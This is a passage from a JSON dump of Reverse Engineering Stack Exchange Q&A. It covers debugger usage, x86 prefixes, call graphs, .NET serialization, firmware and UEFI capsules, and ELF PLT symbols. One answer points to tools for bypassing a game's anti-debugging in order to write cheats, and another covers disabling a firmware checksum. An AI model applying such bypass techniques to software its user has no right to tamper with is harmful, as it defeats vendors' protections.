        "Body": "<p>I'm debugging a .NET application and see a declaration of a local array:</p>\n\n<pre><code>$ArrayType$$$BY05PAD $ArrayType$$$BY05PAD;\n</code></pre>\n\n<p>I break on an instruction that uses data inside that (char*) array:</p>\n\n<pre><code>num9 = &lt;Module&gt;.strtoul(*(ref $ArrayType$$$BY05PAD + 4), null, 10);\n</code></pre>\n\n<p>Before the call to strtoul, I want to show in a hex editor the contents of *(ref $ArrayType$$$BY05PAD + 4), but this is not a valid expression in the watch window and it doesn't appear as a local variable. How can I inspect raw field memory?</p>\n",
        "Title": "View Array Type in dnSpy",
        "Tags": "|binary-analysis|.net|",
        "Answer": "<p>Those are identified as <code>raw locals</code>. You can enable their visibility by going to <code>Options</code> in <code>Debug</code> menu.</p>\n\n<p><a href=\"https://i.stack.imgur.com/BmIl5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/BmIl5.png\" alt=\"enter image description here\"></a></p>\n\n<p>After that you will be able to see those elements in the locals window.</p>\n\n<p><a href=\"https://i.stack.imgur.com/W6Clb.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/W6Clb.png\" alt=\"enter image description here\"></a></p>\n\n<p>And from there you can right click on it and select <code>Show in Memory Window</code> -> <code>Memory 1</code></p>\n\n<p><a href=\"https://i.stack.imgur.com/x1dBw.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/x1dBw.png\" alt=\"enter image description here\"></a></p>\n\n<p>and analyze the data:</p>\n\n<p><a href=\"https://i.stack.imgur.com/3pwLw.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3pwLw.png\" alt=\"enter image description here\"></a></p>\n\n<p>But that's not the end of our work. Those are just the pointers so our array contains such addresses (little-endian):</p>\n\n<pre><code>[0x610245D4,0x610245D7,0x610245DA,0x610245DD,0x610245E0]\n</code></pre>\n\n<p>So if your example tries to access offset <code>+4</code> it will get the second address and if we navigate there in the <code>Memory window</code> we will see the strings there that will be passed to <code>strtoul</code> method</p>\n\n<p><a href=\"https://i.stack.imgur.com/KSDbt.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KSDbt.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "21101",
        "CreationDate": "2019-04-09T22:08:35.823",
        "Body": "<p>I'm attempting to reverse engineer an executable packer, and I'm a little stumped on this x86 instruction:</p>\n\n<pre><code>F2 EB F5    repne jmp short near ptr unk_88801B\n</code></pre>\n\n<p>According to the Intel manual a repeat prefix is not supported on a 'jmp' instruction. Yet IDA, Ollydbg and Capstone decode this instruction as the above.</p>\n\n<p>This instruction appears in a section of code that is overlapped to obfuscate it, so I'm pretty certain the unsupported prefix is simply there to support the overlap.</p>\n\n<p>My question is how does the processor handle this instruction? Does it just ignore the prefix, throw an illegal instruction, or ignore the instruction entirely?</p>\n",
        "Title": "What's the effect of adding a REP(N(E)) prefix to a JMP instruction?",
        "Tags": "|x86|",
        "Answer": "<p>This is a hard questions to answer since I have to explain how intel MTX works and I don't know how it works 100% but here I am going to try :)</p>\n\n<p>At the beginning I though that IDA was giving you wrong disassemble code (that's not true I'll explain that later). \nSince you give me extra info (opcodes) I assemble it with <a href=\"https://github.com/radare/radare2\" rel=\"nofollow noreferrer\">rasm2</a> and I got this:</p>\n\n<p>$ rasm2 -a x86 -d \"F2 EB F5\" <br>\nbnd jmp 0xfffffff8</p>\n\n<p>BND! that is not a illegal instruction, actually it is call an Intel MPX (Memory Protection Extensions) It was first announced in 2013 and introduced in 2015. </p>\n\n<blockquote>\n  <p><em>From <a href=\"https://en.wikipedia.org/wiki/Intel_MPX\" rel=\"nofollow noreferrer\">Wikipedia</a></em> <br>Intel MPX is a set of extensions to the x86 instruction\n  set architecture. With compiler, runtime library and operating system\n  support, Intel MPX brings increased security to software by checking\n  pointer references whose normal compile-time intentions are\n  maliciously exploited at runtime due to buffer overflows.</p>\n</blockquote>\n\n<p>Intel MPX provides four new registers named bnd0-bnd3 that are use to set bounds to avoid memory attack. I recommend you to read <a href=\"https://intel-mpx.github.io/\" rel=\"nofollow noreferrer\">this</a>, <a href=\"https://arxiv.org/pdf/1702.00719.pdf\" rel=\"nofollow noreferrer\">this</a>, and <a href=\"https://xem.github.io/minix86/manual/intel-x86-and-64-manual-vol1/o_7281d5ea06a5b67a-398.html\" rel=\"nofollow noreferrer\">this</a>.</p>\n\n<p>Getting back to your question. I think is going to work as a normal jmp because the bound registers are not initialized. How I know that? Your opcode is EB and if you read the articles you will read this.</p>\n\n<blockquote>\n  <p>An application compiled to use Intel MPX will use the REPNE (F2H)\n  prefix (denoted by BND) for all forms of near  CALL, near RET, near\n  JMP, short &amp; near Jcc instructions (BND+CALL, BND+RET, BND+JMP,\n  BND+Jcc). See <a href=\"https://xem.github.io/minix86/manual/intel-x86-and-64-manual-vol1/o_7281d5ea06a5b67a-399.html\" rel=\"nofollow noreferrer\">Table  17-4</a> for specific opcodes. <strong>All far CALL, RET and\n  JMP instructions plus short JMP (JMP rel 8, opcode EB) instructions \n  will never cause bound registers to be initialized</strong></p>\n</blockquote>\n\n<p>Reading that I also understand why IDA was not giving you wrong code.</p>\n"
    },
    {
        "Id": "21106",
        "CreationDate": "2019-04-10T13:06:15.237",
        "Body": "<p>So i have written a python tool using capstone that disassembles the code section of a ELF binary using capstone.</p>\n\n<p>now i want to also create and show the call-graph of this binary in a dot format, I tried googling but couldn't find how to do this with capstone or if its possible with it or not, i also heard about some other frameworks like radare2 and such but I'm still not sure which framework is good for this purpose </p>\n\n<p>so what do you guys suggest? how can i make the call-graph by using some framework in my own code? ( i don't want a tool for this, i already know there are tools/programs for this out there, and i dont want to copy their code for this i want to write my own) </p>\n\n<p>is it even possible with static analysis, meaning just by reading the file? considering some function calls might be indirect? ( i only need to do this using call and ret instructions) </p>\n",
        "Title": "Best python framework/library for constructing the call-graph from binary?",
        "Tags": "|binary-analysis|python|binary|call-graph|",
        "Answer": "<p>My suggestion is that you generate a graphviz (<a href=\"https://graphviz.org/\" rel=\"nofollow noreferrer\">https://graphviz.org/</a>) file with all the nodes and all the information that you want and then with the command dot you paint the graph. However, if you want to make it on realtime or on a fancy UI I will suggest you use networkx (<a href=\"https://networkx.github.io/\" rel=\"nofollow noreferrer\">https://networkx.github.io/</a>)</p>\n"
    },
    {
        "Id": "21107",
        "CreationDate": "2019-04-10T13:45:08.147",
        "Body": "<p>I am trying to decode what seems to be simple C# binary serialization to disk:</p>\n\n<ol>\n<li><a href=\"https://github.com/malaterre/MMCPrivate/raw/master/sample1.raw\" rel=\"nofollow noreferrer\">https://github.com/malaterre/MMCPrivate/raw/master/sample1.raw</a></li>\n<li><a href=\"https://github.com/malaterre/MMCPrivate/raw/master/sample2.raw\" rel=\"nofollow noreferrer\">https://github.com/malaterre/MMCPrivate/raw/master/sample2.raw</a></li>\n</ol>\n\n<p>I do not have access to the original DLL that generates this binary blob so I fail to understand how to process this file unless I have a full definition of all C# structures. If I had access to the original DLL I could reverse engineer the C# binary to find the structures, so how should I do in this case ?</p>\n\n<p><a href=\"https://github.com/malaterre/MMCPrivate\" rel=\"nofollow noreferrer\">Code</a>:</p>\n\n<pre><code>using System;\nusing System.IO;\nusing System.Collections;\nusing System.Runtime.Serialization.Formatters.Binary;\nusing System.Runtime.Serialization;\n\npublic class Dump\n{\n    [STAThread]\n    static void Main() \n    {\n        Deserialize();\n    }\n\nstatic void Deserialize() \n{\n    // Declare the hashtable reference.\n    Hashtable addresses  = null;\n\n    // Open the file containing the data that you want to deserialize.\n    FileStream fs = new FileStream(\"input.dat\", FileMode.Open);\n    try \n    {\n        BinaryFormatter formatter = new BinaryFormatter();\n\n        // Deserialize the hashtable from the file and \n        // assign the reference to the local variable.\n        addresses = (Hashtable) formatter.Deserialize(fs);\n    }\n    catch (SerializationException e) \n    {\n        Console.WriteLine(\"Failed to deserialize. Reason: \" + e.Message);\n        throw;\n    }\n    finally \n    {\n        fs.Close();\n    }\n\n    // To prove that the table deserialized correctly, \n    // display the key/value pairs.\n    foreach (DictionaryEntry de in addresses) \n    {\n        Console.WriteLine(\"{0} lives at {1}.\", de.Key, de.Value);\n    }\n}\n}\n</code></pre>\n\n<p>Leads to:</p>\n\n<pre><code>$ mono ./Dump.exe\nFailed to deserialize. Reason: Unable to find assembly 'ApplicationObjects, Version=1.0.4073.26998, Culture=neutral, PublicKeyToken=null'.\n\nUnhandled Exception:\nSystem.Runtime.Serialization.SerializationException: Unable to find assembly 'ApplicationObjects, Version=1.0.4073.26998, Culture=neutral, PublicKeyToken=null'.\n</code></pre>\n\n<p>Reference:</p>\n\n<ul>\n<li><a href=\"https://msdn.microsoft.com/en-us/library/b85344hz(v=vs.110).aspx\" rel=\"nofollow noreferrer\">BinaryFormatter.Deserialize Method</a></li>\n<li><a href=\"http://msdn.microsoft.com/en-us/library/cc236844.aspx\" rel=\"nofollow noreferrer\">[MS-NRBF]: .NET Remoting: Binary Format Data Structure</a></li>\n</ul>\n",
        "Title": "Decode C# binary serialization data",
        "Tags": "|binary|binary-format|",
        "Answer": "<p>Turns out this was barely a reverse engineer task since everything is already available on internet. Mainly this post is a great read:</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/a/30176566/136285\">How to analyse contents of binary serialization stream?</a></li>\n</ul>\n\n<p>And then you can even play with a python implementation:</p>\n\n<ul>\n<li><a href=\"https://github.com/gurnec/Undo_FFG/blob/master/nrbf.py\" rel=\"nofollow noreferrer\">nrbf.py - .NET Remoting Binary Format reading library for Python 3.6</a></li>\n</ul>\n"
    },
    {
        "Id": "21115",
        "CreationDate": "2019-04-11T03:48:50.703",
        "Body": "<p>I have a question about reverse engineering a Roland gr-55 guitar synthesizer. I'm 90% sure the device uses a Renesas sh7722 processor as the main CPU, or at least one of the CPU's in the SH family. I first tried to disassemble the firmware binary using IDA, I then realized that IDA doesn't support the exact processor I have. On Renesas' website all the development tools are available along with a debugging emulator (E10A-USB emulator). My question is, am I able to use this emulator with my device? According to the user manual for the E10Aa-USB emulator (pg.31) the devices uses either a 14 pin or 36 pin connector which connects from the emulator to the user system or (gr-55 PCB board). According to the schematics for the Roland gr-55 (pg.34) top left corner of the page you can see a 24 pin connector labeled 24FLT-SM2-TB unpop for debug. So it seems the debugging port for the gr-55 is a 24 pin connector. So did the manufacture use their own custom emulator designed for just this board? Can there be multiple emulators for a processor, or is it that the main CPU is not a Renesas sh7722 and the E10A-USB is the wrong emulator. If the manufacture of the board did use their own custom emulator, is there any way to find and acquire the correct one? I'll post the schematics for the Roland GR-55 and the emulator user manual below.</p>\n\n<p><a href=\"https://www.renesas.com/tw/zh/doc/products/tool/doc/004/R20UT0870EJ1001_e10a.pdf\" rel=\"nofollow noreferrer\">E10A-USB Emulator user manual Pg.31</a></p>\n\n<p><a href=\"https://www.joness.com/gr300/service/GR-55_SERVICE_NOTES.pdf\" rel=\"nofollow noreferrer\">Roland Gr-55 schematic service notes pg.34</a></p>\n\n<p><a href=\"https://www.renesas.com/us/en/products/microcontrollers-microprocessors/superh/sh7780/sh7722.html#tools\" rel=\"nofollow noreferrer\">the development tools for sh7722, (emulator is at bottom of list)</a></p>\n\n<p><a href=\"https://www.roland.com/us/support/by_product/gr-55/updates_drivers/f64a41ce-c897-4fd5-94d7-71ec8ff6f036/\" rel=\"nofollow noreferrer\">Download link for the Roland GR-55 firmware </a></p>\n\n<p>Also on the board the 24 pin connector is not present, but it seems the outline for the connector is there for me to solder it to the board. So it seems if I find the right emulator I would have to solder on the 24 pin connector first.</p>\n\n<p>My main goal is to be able acquire all the right development software and equipment for this unit, learn the assembly language for this processor, and disable the checksum so i'm able to change the names of strings and maybe some other functions making the UI for this system 1000x more usable.</p>\n\n<p>If someone can clear this up for me I would greatly appreciate it.</p>\n",
        "Title": "Finding the correct emulator for programming a renesas sh7722 processor",
        "Tags": "|disassembly|debugging|emulation|",
        "Answer": "<p>The 24 pin debug connector on the GR-55 seems to have all required signals for the E10A-USB, so I'm guessing they just used a smaller connector to reduce board space and cost. The connection diagram below is for a different CPU, but the pin designations match those in the GR-55 so I bet they are compatible. You just have to make a custom adapter cable.  </p>\n\n<p><a href=\"https://i.stack.imgur.com/KPPwE.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KPPwE.jpg\" alt=\"enter image description here\"></a></p>\n\n<blockquote>\n  <p>My main goal is to be able acquire all the right development software\n  and equipment for this unit, learn the assembly language for this\n  processor, and disable the checksum so i'm able to change the names of\n  strings and maybe some other functions making the UI for this system\n  1000x more usable.</p>\n</blockquote>\n\n<p>Luckily for you the firmware is not encrypted and has many useful strings and debug symbols in it, so it should be relatively easy to disassemble and patch. Changing the UI functions will take a lot more work.     </p>\n"
    },
    {
        "Id": "21120",
        "CreationDate": "2019-04-11T13:02:42.173",
        "Body": "<p>I am new to reverse engineering.\nToday when looking at IDA, I found this</p>\n\n\n\n<pre><code>if ( *(_UNKNOWN **)(this + 8) == &amp;unk_4EDC58 )\n</code></pre>\n\n<p>but I dont understand the part \"unk_4EDC58\".</p>\n\n<p>So can you help me ? Thank you !</p>\n",
        "Title": "IDA \"unk_XXXXXX\" meaning?",
        "Tags": "|ida|",
        "Answer": "<p>For IDA, it means this part of memory, at the address 0x004EDC58, doesn't have any types.</p>\n\n<p>It's hard to be 100% sure with only one line of decompiled code, but I guess this code is typical from cl.exe (Microsoft C++ compiler) when it tries to inline a virtual method. To do so, it will directly check if the method (this + 8) is equal to the current method (0x004EDC58). If it's true, it will continue to the current code. Otherwise, the address of the method at <code>this + 8</code> is read and it jumps to this address.</p>\n\n<p>You have different options to set a type to this memory part. Since it seems to be a pointer to something, go to this address address and type 'o' or <code>Edit \u2192 Operand type \u2192 Offset \u2192 Offset (data segment)</code>.</p>\n"
    },
    {
        "Id": "21126",
        "CreationDate": "2019-04-12T09:11:55.610",
        "Body": "<p>I am currently trying to reverse an app and I have one very stupid question I cannot figure out by myself.</p>\n\n<p>The app was packed using FSG 2.0 and I successfully manually unpacked it and rebuilt the IAT (at least I believe I did).\nThe app is a Windows 32 bits PE and it has a small GUI (it's a crackme that has one simple input and once you click ok, it just replies goodboy or badboy).</p>\n\n<p>From what I can see, it imports the SendMessage function and actually uses it but I can't find any GetMessage (nor PeekMessage) function imported.\nConsidering it is a GUI, is that even possible ?</p>\n\n<p>Any hints appreciated ! </p>\n",
        "Title": "Windows GUI app without GetMessage imported?",
        "Tags": "|windows|unpacking|",
        "Answer": "<p>In case of it could be useful to someone else, I finally managed to understand how the Windows messages are handled in the program I'm trying to reverse (rather simple in fact). It's calling DialogBoxParamA (<a href=\"https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-dialogboxparama\" rel=\"nofollow noreferrer\">https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-dialogboxparama</a>) : the before last parameter is a pointer to the procedure in charge of handling the messages.</p>\n"
    },
    {
        "Id": "21130",
        "CreationDate": "2019-04-12T17:01:38.320",
        "Body": "<p>I'd like to extract a plain dump of the UEFI firmware of my laptop (1:1 copy of the flash content, often called .bin or .rom files) from the .cap file, so that I can modify it slightly with me_cleaner.\n(The .cap file is a raw image compressed and wrapped with the flash tool as part of a capsule.)\nThen I suppose one has to reconstruct the capsule so it's valid, and it has a chance of passing signature check when updating firmware with fwupd.</p>\n\n<p>My machine is a Thinkpad T460s, which is supported by fwupd/LVFS\n<a href=\"https://fwupd.org/lvfs/device/com.lenovo.ThinkPadN1CHT.firmware\" rel=\"nofollow noreferrer\">https://fwupd.org/lvfs/device/com.lenovo.ThinkPadN1CHT.firmware</a>\nand the me_cleaner tool is described at\n<a href=\"https://github.com/corna/me_cleaner/wiki/Internal-flashing-with-OEM-firmware\" rel=\"nofollow noreferrer\">https://github.com/corna/me_cleaner/wiki/Internal-flashing-with-OEM-firmware</a></p>\n\n<p>In particular, I'd be happy with just <code>me_cleaner.py -s &lt;firmware image&gt;</code>, where -s is setting the HAP bit, and not modifying the actual image, so it may still pass signature check.</p>\n\n<p>Any hint where to start?</p>\n\n<p>Possibly related question: <a href=\"https://reverseengineering.stackexchange.com/questions/8538/reverse-engineering-uefi-cap-files?newreg=3a029aaa7a9c4cf6ba42a5876a014ce2\">Reverse engineering UEFI CAP files</a></p>\n",
        "Title": "me_cleaner and fwupd, or manipulating UEFI .cab files",
        "Tags": "|binary-analysis|firmware|static-analysis|encryption|uefi|",
        "Answer": "<p>It's not exactly an RE question but I'll try to answer.</p>\n\n<p>First of all, since the capsule is signed, it's very likely that any modification will invalidate the signature and the update process will refuse it.</p>\n\n<p>In general, extracting a raw image from the capsule may range from trivial (e.g. for ASUS capsules it's usually enough to just cut off the header) to pretty hard (e.g. Intel capsules have multiply nested compressed firmware volumes for each part of the flash chip that can be updated independently, and it's quite difficult to reconstruct the full image from them), and making again a valid capsule is even harder without the vendor-specific tools (and signing keys, obviously).</p>\n\n<p>While the <em>general process</em> of capsule update is described in the UEFI specification, the exact format and details are left to the vendor to implement. In general, there is usually a firmware module which is responsible for parsing &amp; verifying the capsule and passing the data for flashing to the flashing component (usually an SMM module). You could try to find the code responsible for it and figure out how the capsule is laid out and try to restore the image but be prepared for a long road ahead.</p>\n\n<p>I would suggest going with the external flashing workflow, it's more reliable and easier to recover from.</p>\n"
    },
    {
        "Id": "21131",
        "CreationDate": "2019-04-12T17:34:30.700",
        "Body": "<p>I have here an unknown binary file which contains a graphical user interface.\nThe file has the ending .kzb and it comes from the Kanzi desinger.\nUnfortunately the Kanzi desinger can no longer edit the extracted binary file. Apparently you can only change something if you have the original project.\nThe file contains pictures that I would like to change. \nI know that it has to work, because someone has already done it, but doesn't want to reveal the secret :)\nHere is the file I want to customize.\n<a href=\"https://drive.google.com/drive/folders/1Z-RCdVGJv_jkKHcL3o_saOZz8sluMMG1?usp=sharing\" rel=\"nofollow noreferrer\">https://drive.google.com/drive/folders/1Z-RCdVGJv_jkKHcL3o_saOZz8sluMMG1?usp=sharing</a>\nIn the file is a Chinese and an English flag (as .png) which I would like to change / swap.</p>\n",
        "Title": "Edit unknown binary file",
        "Tags": "|file-format|binary|",
        "Answer": "<ol>\n<li><p>Search the unknown binary file for the PNG magic number <code>89 50 4E 47 .PNG</code></p>\n</li>\n<li><p>Determine size of the embedded PNG</p>\n</li>\n<li><p>Search unknown binary file for that size as a binary integer.</p>\n</li>\n<li><p>Replace PNG and size as appropriate in unknown binary file.</p>\n</li>\n</ol>\n"
    },
    {
        "Id": "21143",
        "CreationDate": "2019-04-14T09:22:56.853",
        "Body": "<p>I have problem with my radare2, when I try to reopen file in debug mode (ood) my radare loses all informations about that file.</p>\n\n<p><a href=\"https://i.stack.imgur.com/tMJzl.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tMJzl.png\" alt=\"enter image description here\"></a></p>\n\n<p>any help to avoid this?</p>\n",
        "Title": "When reopening file lose all information in radare2",
        "Tags": "|radare2|debuggers|",
        "Answer": "<p>This is not a radare2 problem. What you are experiencing is \"Address space layout randomization\" or ASLR. Basically every time that you run the program the addresses are different. all the breakpoints and info still in radare2 but they are not pointing to the same addresses since it change. </p>\n\n<p>Radare2 has an option to disable ASLR while you used with radare2 (not normal running) </p>\n\n<p>Inside of radare2 type:</p>\n\n<pre><code>&gt; dor aslr=no\n</code></pre>\n\n<p>then analyze everything and start your job</p>\n\n<pre><code>&gt; aaa\n</code></pre>\n\n<p>Happy hacking!</p>\n"
    },
    {
        "Id": "21144",
        "CreationDate": "2019-04-14T14:09:05.750",
        "Body": "<p>I'm trying to RE Stardew Valley to write cheats for it. The problem is that when I trace the pointers for my health/energy/etc... back more than one level the game crashes. It probably has some kind of anti-debugging checks in it. I looked into it a little bit and apparently there's a bunch of things they can do to detect debuggers and exit - does anyone know of a good way to figure out what they're doing without just searching the binary in IDA? I could do that but it seems like a bit of a pain in the arse.</p>\n",
        "Title": "Bypassing anti-debugging",
        "Tags": "|anti-debugging|",
        "Answer": "<p>Depending on which debugger you are using, there are a few options.</p>\n\n<p>VEH debugger option in Cheat Engine will bypass some anti-debugging techniques. </p>\n\n<p>If you use x64dbg or x32dbg, you can use ScyllaHide:\n<a href=\"https://github.com/x64dbg/ScyllaHide\" rel=\"nofollow noreferrer\">https://github.com/x64dbg/ScyllaHide</a></p>\n\n<p>There is also TitanHide(kernel mode):\n<a href=\"https://github.com/mrexodia/TitanHide\" rel=\"nofollow noreferrer\">https://github.com/mrexodia/TitanHide</a></p>\n"
    },
    {
        "Id": "21151",
        "CreationDate": "2019-04-15T01:57:14.123",
        "Body": "<p>I'm analyzing the 3 binaries for updating firmware to the Inmarsat Isatphone Pro phone. Additionally, I'm following the Groundworks Technologies paper, and attempting to recreate their work as a learning exercise.</p>\n\n<p>It was explained that in both File1.bin and File2.bin there was both ARM926EJ-S code and Blackfin DSP code combined. I'm interested in looking at the ARM code, but am not clear on how to separate one from another. Using binja and Ghidra at the moment...</p>\n\n<p>How can the ARM code get isolated, and what's the best way to decompile down to seeing functions like RegisterATCmdHook() and RegisterPendingATCmdHook()?</p>\n\n<p>Paper is available here: <a href=\"https://uploadfiles.io/2l0f9ulc\" rel=\"nofollow noreferrer\">https://uploadfiles.io/2l0f9ulc</a></p>\n",
        "Title": "How to split ARM code/data from binary in Inmarsat Isatphone Pro?",
        "Tags": "|ida|disassembly|binary-analysis|arm|ghidra|",
        "Answer": "<p>Once I solved the opposite problem: to collect Blackfin code as memory dump and load it into IDA. To solve your issue you can just consider DSP code as a data using memory chunk description from <a href=\"https://www.researchgate.net/publication/254044387_Don&#39;t_Trust_Satellite_Phones_A_Security_Analysis_of_Two_Satphone_Standards\" rel=\"nofollow noreferrer\">here</a> </p>\n"
    },
    {
        "Id": "21154",
        "CreationDate": "2019-04-15T11:04:06.857",
        "Body": "<p>So I'm trying to write a reversing tool right now and trying to make a CALL graph</p>\n\n<p>the problem I'm having is some calls are like Call *eax instead Call 'address' </p>\n\n<p>I can easily generate the call-graph with absolute calls, but not with these</p>\n\n<p>so i have three questions :</p>\n\n<ol>\n<li><p>what type of functions get called using register instead of absolute? \ni want to only generate call graph for functions inside the main program and not libraries and etc, do i need to worry about register calls or these are only used for special functions? if so, why? ( even if these are only for library functions i dont get why can't they be converted into absolute address during relocation??)</p></li>\n<li><p>if i wanted to check what is the function that is being called aka by reading the register, is this possible using static analysis or i have to do dynamic analysis?</p></li>\n<li><p>can i make a decent call-graph using static analysis, meaning by only reading the binary? do popular tools like IDA use static to generate call graph as well? or will i face real problems if i do so?</p></li>\n</ol>\n",
        "Title": "What type of function gets called using a register instead of address in the binary? how to find the address statically?",
        "Tags": "|binary-analysis|x86|binary|",
        "Answer": "<ol>\n<li><p>In C++, the pointer of the method associated with an object are stored in something called a vtable. In order to call a specific method, you need to get a pointer to that vtable and get to the proper function. In the end, your going to end with a &quot;call eax&quot;, even though the function call is not from an external library.</p>\n</li>\n<li><p>Well, it really depends on your case. You can use techniques such as <a href=\"https://en.wikipedia.org/wiki/Symbolic_execution\" rel=\"nofollow noreferrer\">symbolic execution</a> in order to resolve the jump destination. The idea of this technique is to associate a &quot;symbolic value&quot; (i.e. a variable) to the registers and compute the equation generated by the assembly. Then you can solve your equation to get the final value of the register you are looking for.</p>\n<p>This works pretty well with simple equations, but if your code is <a href=\"https://en.wikipedia.org/wiki/Obfuscation_(software)\" rel=\"nofollow noreferrer\">obfuscated</a> (meaning that the code is voluntarily complex), you might not be able to solve the equation and find the call destination without a dynamic analysis. (Which, by the way, might also not give you the call destination if, for example, you don't find an execution path execution the &quot;call eax&quot;).</p>\n</li>\n<li><p>In IDA, the call graph is generated by performing a static analysis. However, IDA does not resolve dynamic call if the jump are more complicated than &quot;loc_addr + offset&quot;. It's a &quot;safe&quot; choice, because you might end up doing really complicated operation if your code is obfuscated.\nWhat tools usually do, is find a <a href=\"https://en.wikipedia.org/wiki/Heuristic\" rel=\"nofollow noreferrer\">heuristic</a>: it's a technique that does not work for every problem, but it works in some cases (just like the IDA solution).</p>\n</li>\n</ol>\n"
    },
    {
        "Id": "21160",
        "CreationDate": "2019-04-16T06:39:01.907",
        "Body": "<p>So I'm trying to write a reversing tool that parses symbol table to find the main function's address</p>\n\n<p>right now all the binaries I'm checking the name of main function is still main in symbol table</p>\n\n<p>my question is can this change? because right now my check to finding the main function is that string being equal to main</p>\n\n<p>if it can change, what are the possible values? if it can have too many possible values then how can i find it in the binary?</p>\n",
        "Title": "Is the main function's name in the symbol table of C & C++ programs always 'main'? if not, how to find the name?",
        "Tags": "|x86|c|elf|binary|x86-64|",
        "Answer": "<p>Just a quick note in case you would not be aware of this:</p>\n\n<pre><code>$ cat tiny.c\n#include &lt;unistd.h&gt;\nvoid _start() {\n  _exit(42);\n}\n</code></pre>\n\n<p>on x86-64, here is what I get (you need a static libc: libc.a):</p>\n\n<pre><code>$ gcc -static -ffreestanding -nostartfiles  -s -o tiny tiny.c\n$ ./tiny || echo $?\n42\n</code></pre>\n\n<p>Pay attention that:</p>\n\n<pre><code>$ file tiny\ntiny: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=5557e6655b77976b7c248711af6f508d931fc3af, stripped\n</code></pre>\n\n<p>but only:</p>\n\n<pre><code>$ objdump -x tiny\n\ntiny:     file format elf64-x86-64\ntiny\narchitecture: i386:x86-64, flags 0x00000102:\nEXEC_P, D_PAGED\nstart address 0x0000000000400180\n\nProgram Header:\n    LOAD off    0x0000000000000000 vaddr 0x0000000000400000 paddr 0x0000000000400000 align 2**21\n         filesz 0x0000000000000240 memsz 0x0000000000000240 flags r-x\n    LOAD off    0x0000000000001000 vaddr 0x0000000000601000 paddr 0x0000000000601000 align 2**21\n         filesz 0x0000000000000018 memsz 0x0000000000000018 flags rw-\n    NOTE off    0x0000000000000158 vaddr 0x0000000000400158 paddr 0x0000000000400158 align 2**2\n         filesz 0x0000000000000024 memsz 0x0000000000000024 flags r--\n     TLS off    0x0000000000001000 vaddr 0x0000000000601000 paddr 0x0000000000601000 align 2**2\n         filesz 0x0000000000000000 memsz 0x0000000000000004 flags r--\n   STACK off    0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**4\n         filesz 0x0000000000000000 memsz 0x0000000000000000 flags rw-\n\nSections:\nIdx Name          Size      VMA               LMA               File off  Algn\n  0 .note.gnu.build-id 00000024  0000000000400158  0000000000400158  00000158  2**2\n                  CONTENTS, ALLOC, LOAD, READONLY, DATA\n  1 .text         0000006a  0000000000400180  0000000000400180  00000180  2**4\n                  CONTENTS, ALLOC, LOAD, READONLY, CODE\n  2 .eh_frame     00000050  00000000004001f0  00000000004001f0  000001f0  2**3\n                  CONTENTS, ALLOC, LOAD, READONLY, DATA\n  3 .tbss         00000004  0000000000601000  0000000000601000  00001000  2**2\n                  ALLOC, THREAD_LOCAL\n  4 .got.plt      00000018  0000000000601000  0000000000601000  00001000  2**3\n                  CONTENTS, ALLOC, LOAD, DATA\n  5 .comment      0000002c  0000000000000000  0000000000000000  00001018  2**0\n                  CONTENTS, READONLY\nSYMBOL TABLE:\nno symbols\n</code></pre>\n"
    },
    {
        "Id": "21163",
        "CreationDate": "2019-04-16T08:09:32.457",
        "Body": "<p>So right now I'm trying to resolve function calls and their names in my reversing tool</p>\n\n<p>the problem I'm having is that library functions such as printf and fwrite and such do not have a corresponding address in symbol table unlike functions inside the actual program which do contain a virtual address in the symbol table and therefore i can resolve their name when they are called statically</p>\n\n<p>basically i want to resolve the name of functions even static library functions like printf just like how readelf does (i tried readelf and indeed it does resolve the name of printf even tho it says the address value of printf inside symbol table is 0 unlike other functions so not sure how does it realize the offset of printf inside plt)</p>\n\n<p>so i have these questions :</p>\n\n<ol>\n<li><p>how to find the index or address of printf in the PLT so i can resolve its name when i see a \"Call address\" </p></li>\n<li><p>why doesn't the symbol table contain the virtual address of these functions unlike functions inside the code? considering these are static libraries and are statically linked in that program, shouldn't they have a fixed address just like other functions?</p></li>\n<li><p>the program is only a printf function inside main and only included stdio.h, now my understanding is that i included the stdio.h statically considering i included it in the beginning and didnt use any specific option while compiling. so why is it going into PLT instead of .text section and having a static address? i thought when i include a library in the beginning it basically copy and pastes it into my .text section?</p></li>\n</ol>\n",
        "Title": "How to find the index of static ilbrary functions in the PLT of the binary?",
        "Tags": "|binary-analysis|x86|c|elf|binary|",
        "Answer": "<blockquote>\n  <p>how to find the index or address of printf in the PLT so i can resolve its name when i see a \"Call address\"</p>\n</blockquote>\n\n<p>When a function is present in <code>PLT</code> (Procedure Linkage Table) section, that means its address isn't known at compilation time and has to be resolved by dynamic linker at the runtime. However, just to know that a certain function is called at some point in the program you may use a tool like <a href=\"https://en.wikipedia.org/wiki/Objdump\" rel=\"nofollow noreferrer\">objdump</a>, which will show you the function name followed by <code>@plt</code> like so:</p>\n\n<pre><code>call   720 &lt;printf@plt&gt;\n</code></pre>\n\n<blockquote>\n  <p>why doesn't the symbol table contain the virtual address of these functions unlike functions inside the code? considering these are static libraries and are statically linked in that program, shouldn't they have a fixed address just like other functions?</p>\n</blockquote>\n\n<p>Because they <strong>are not</strong> statically linked (see first sentence of the answer for the first question). They don't have fixed addresses, since these will be resolved during the runtime.</p>\n\n<blockquote>\n  <p>so why is it going into PLT instead of .text section and having a static address? i thought when i include a library in the beginning it basically copy and pastes it into my .text section?</p>\n</blockquote>\n\n<p>It would be the waste of space if every executable contained copy of the same library. The <code>.h</code> files are included and they often contain <strong>just the declarations</strong>. So you don't include compiled definitions of functions declared in <code>.h</code> - just the prototypes. The <strong>linker</strong> is responsible for linking the program with the libraries used in it. They still may be linked either statically or dynamically and since dynamic linking avoids copying entire libraries' code into every single executable, it's often used instead of static one.</p>\n\n<p>See <a 